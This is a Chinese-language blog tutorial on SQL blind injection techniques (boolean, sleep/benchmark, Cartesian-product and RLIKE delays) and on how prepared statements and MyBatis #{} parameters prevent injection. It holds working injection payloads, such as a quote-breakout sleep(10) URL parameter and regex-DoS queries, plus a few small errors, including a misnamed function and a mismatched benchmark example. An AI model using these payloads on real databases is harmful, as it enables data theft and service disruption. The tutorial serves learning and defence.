Ywc's blog

深入理解SQL盲注与SQL预编译

Word count: 2.6k / Reading time: 11 min
2021/02/02 Share

SQL盲注

所谓的盲注就是猜测,通过寻找差异(包括运行时间的差异和页面返回结果的差异)来进行注入

也就是说我们想实现的是我们要构造一条语句来测试我们输入的布尔表达式,使得布尔表达式结果的真假直接影响整条语句的执行结果,从而使得系统有不同的反应,在时间盲注中是不同的返回的时间,在布尔盲注中则是不同的页面反应。

布尔盲注

布尔盲注是最基础的一种注入,其本质是使SQL语句永真或永假,使页面上显示的内容不同,然后逐个字符的去判断,以此来得到数据库中的所有数据。
基于布尔的盲注是在这样的一种情况下使用:

  • 页面虽然不能返回查询的结果,但是对于输入 布尔值 0 和 1 的反应是不同的,那我们就可以利用这个输入布尔值的注入点来注入我们的条件语句,从而能根据页面的返回情况推测出我们输入的语句是否正确(输入语句的真假直接影响整条查询语句最后查询的结果的真假)

常用函数:
left

1
left(a,b)从左侧截取a的前b位

substr

1
substr(a,b,c)从b位置开始,截取字符串a的c长度。结合ascii()使用

MID/ORD

1
2
mid(a,b,c)同substr
OPD()同ascii()

regexp
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

  • regexp基本注入方法
    1
    2
    3
    4
    5
    6
    7
    select (select语句) regexp '正则'
    # eg:
    # 正常查询:
    select username from users where id=1;
    # 正则注入,若匹配则返回1,不匹配返回0
    select (select username from users where id=1) regexp '^a';
    ^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0

regexp关键字还可以代替where条件里的=号

1
select * from users where password regexp '^ad';

常用regexp正则语句:

1
2
3
regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r' #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

在联合查询中的使用

1
1 union select 1,database() regexp '^s',3--+

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

## 普通查询

mysql> select 123 from test where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)

mysql> select 123 from test where 1=0;
Empty set (0.00 sec)


## 使用 ^

mysql> select * from test where id = 1^0;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | v1zkra | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)

mysql> select * from test where id = 1^1;
Empty set (0.00 sec)


## 使用 &

mysql> select * from test where id = 1 & 1;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | v1zkra | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)

mysql> select * from test where id = 1 & 0;
Empty set (0.00 sec)


## 使用 |

mysql> select * from test where id = 0 | 1;
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | v1zkra | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)

mysql> select * from test where id = 0 | 0;
Empty set (0.00 sec)


## 使用 ~

使用情况:当系统不允许输入大的数字的时候,可能是限制了字符的长度,限制了不能使用科学计数法,但是我们还是想让其报错,我们就能采取这种方式

mysql> select ~1 ;
+----------------------+
| ~1 |
+----------------------+
| 18446744073709551614 |
+----------------------+
1 row in set (0.00 sec)

mysql> select bin(~1);
+------------------------------------------------------------------+
| bin(~1) |
+------------------------------------------------------------------+
| 1111111111111111111111111111111111111111111111111111111111111110 |
+------------------------------------------------------------------+
1 row in set (0.32 sec)

时间盲注

基于时间的盲注的一般思路是延迟注入,说白了就是将判断条件结合延迟函数注入进入,然后根据语句执行时间的长短来确定判断语句返回的 TRUE 还是 FALSE,从而去猜解一些未知的字段(整个猜解过程其实就是一种 fuzz)。

常用函数:

  • 1、MySQL的sleep和benchmark

sleep()

1
?id=1' and if(1=0,1, sleep(10)) --+  # 注释符用于闭合语句,使语句正常执行

IF表达式:
IF(expr1,expr2,expr3) :如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

benchmark(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。

1
select (select username from users where id=1) regexp '^a';
  • 2、Heavy Query 笛卡尔积

将简单的表查询不断的叠加,使之以指数倍运算量的速度增长,不断增加系统执行 sql 语句的负荷,直到产生攻击者想要的时间延迟,这就非常的类似于 dos 这个系统

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*) |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)

mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1 | 0 |
+------+-----+
1 row in set (2.08 sec)

mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
Empty set (0.01 sec)
  • 3.Get_lock() 加锁机制
    1
    2
    get_lock(key,timeout) 一个是key,就是根据这个参数进行加锁的,另一个是等待时间(s)。
    如果key是第一次加锁返回1,反之等待时间进行第二次加锁。
    利用条件比较苛刻,需要使用 mysql_pconnect函数来连接数据库

如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。

此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入

  • 4、RLIKE注入

正则DOS,和benchmark相似,利用SQL多次计算正则消耗计算资源产生延时效果

1
2
3
4
5
6
7
8
9
10
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
+------+
| flag |
+------+
| 1 |
+------+
1 row in set (0.00 sec)

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
Empty set (3.83 sec)

SQL预编译

无法使用sql预编译的情况

1、对于关键词order by来说,如果使用预编译处理,参数绑定为String类型,order by 的参数会被单引号包裹,导致无法排序 // 还有like
2、对于拼接列名、表名的sql语句来说,参数绑定后也会用单引号包裹,故也无法使用预编译处理
3、在prepare绑定参数阶段也能够报错注入
4、某些数据库不支持预编译(如sqllite与低版本mysql),可以使用模拟预编译

Sql预编译于模拟预编译研究

原理及方法

以mysql数据库为例:通常情况下,在数据库接收到一条普通的SQL语句后,
首先对其进行语义解析,随后对此条SQL语句进行优化并制定执行计划并执行;
当采用预编译操作时,首先将待执行的SQL语句中的参数值用占位符替代。当带着占位符的SQL语句模板被数据库编译、解析后,再通过向占位符绑定参数进行查询操作。

经过预编译操作之后,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生

使用预编译四步走:

1
2
3
4
5
6
7
8
9
10
1:定义预编译的sql语句,其中待填入的参数用 `?` 占位。注意,?无关类型,不需要加分号之类。其具体数据类型在下面setXX()时决定。

2:创建预编译Statement,并把sql语句传入。此时sql语句已与此preparedStatement绑定。所以第4步执行语句时无需再把sql语句作为参数传入execute()。

3:填入具体参数。通过setXX(问号下标,数值)来为sql语句填入具体数据。注意:问号下标从1开始,setXX与数值类型有关,字符串就是setString(index,str).

4:执行预处理对象。主要有
boolean execute() 在此 PreparedStatement 对象中执行 SQL 语句,该语句可以是任何种类的 SQL 语句
ResultSet executeQuery() 在此 PreparedStatement 对象中执行 SQL 查询,并返回该查询生成的 ResultSet 对象
int executeUpdate() 在此 PreparedStatement 对象中执行 SQL 语句,该语句必须是一个 SQL 数据操作语言(Data Manipulation Language,DML)语句,比如 INSERT、UPDATE 或 DELETE 语句;或者是无返回内容的 SQL 语句,比如 DDL 语句。

示例代码:

1
2
3
4
5
6
7
8
String username = "ye";
String password = "ye";
String sql = "select * from user where username = ? and password = ?;";

db.stmt = db.conn.prepareStatement(sql);
db.stmt.setString(1, username);
db.stmt.setString(2, password);
ResultSet rs = db.stmt.executeQuery();

mybatis预编译

mybatis 中使用 sqlMap 进行 sql 查询时,经常需要动态传递参数,使用#{ }${ }来进行动态传参

1
2
3
4
select * from user where name = "test";
select * from user where name = #{name};

select * from user where name = '${name}';

但是在动态 SQL 解析阶段,#{ }${ } 会有不同的表现:

#{ }会解析为一个 JDBC 预编译语句(prepared statement)的参数标记符

1
2
3
4
eg:
select * from user where name = #{name};
# 解析为:
select * from user where name = ?;

一个 #{ } 被解析为一个参数占位符 ?

${ } 仅仅为一个纯碎的 string 替换,在动态 SQL 解析阶段将会进行变量替换

1
2
3
select * from user where name = '${name}';
# 当传递的参数为 "test" 时,上述 sql 的解析为
select * from user where name = "test";

预编译之前的 SQL 语句已经不包含变量 name 了
${ }的变量的替换阶段是在动态 SQL 解析阶段,而 #{ } 的变量的替换是在 DBMS 中

Reference

深入理解SQL注入与预编译
K0rz3n师傅:一篇文章带你深入理解 SQL 盲注
SQL注入的有趣姿势
REGEXP注入与LIKE注入学习笔记
mybatis深入理解(一)之 # 与 $ 区别以及 sql 预编译

CATALOG
  1. 1. SQL盲注
    1. 1.1. 布尔盲注
    2. 1.2. 时间盲注
  2. 2. SQL预编译
    1. 2.1. 无法使用sql预编译的情况
    2. 2.2. 原理及方法
    3. 2.3. mybatis预编译
  3. 3. Reference